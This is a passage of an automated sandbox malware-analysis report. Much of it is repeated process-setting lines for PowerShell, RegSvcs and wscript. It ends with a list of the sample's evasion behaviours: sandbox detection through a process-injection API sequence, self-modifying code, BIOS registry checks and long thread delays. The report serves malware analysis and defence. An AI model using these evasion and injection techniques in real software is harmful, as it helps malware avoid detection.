                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

                      Malware Analysis System Evasion

                      barindex
                      Contains functionality to compare user and computer (likely to detect sandboxes)
                      Source: C:\Windows\System32\dialer.exeCode function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,51_2_00000001400010C0
                      Tries to evade debugger and weak emulator (self modifying code)
                      Source: C:\Users\user\AppData\Roaming\LB311.exeSpecial instruction interceptor: First address: 7FF7681088D3 instructions caused by: Self-modifying code
                      Source: C:\ProgramData\Mig\Mig.exeSpecial instruction interceptor: First address: 7FF698A688D3 instructions caused by: Self-modifying code
                      Source: C:\ProgramData\Mig\Mig.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
                      Source: C:\ProgramData\Mig\Mig.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
                      Source: C:\ProgramData\Mig\Mig.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 597516Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
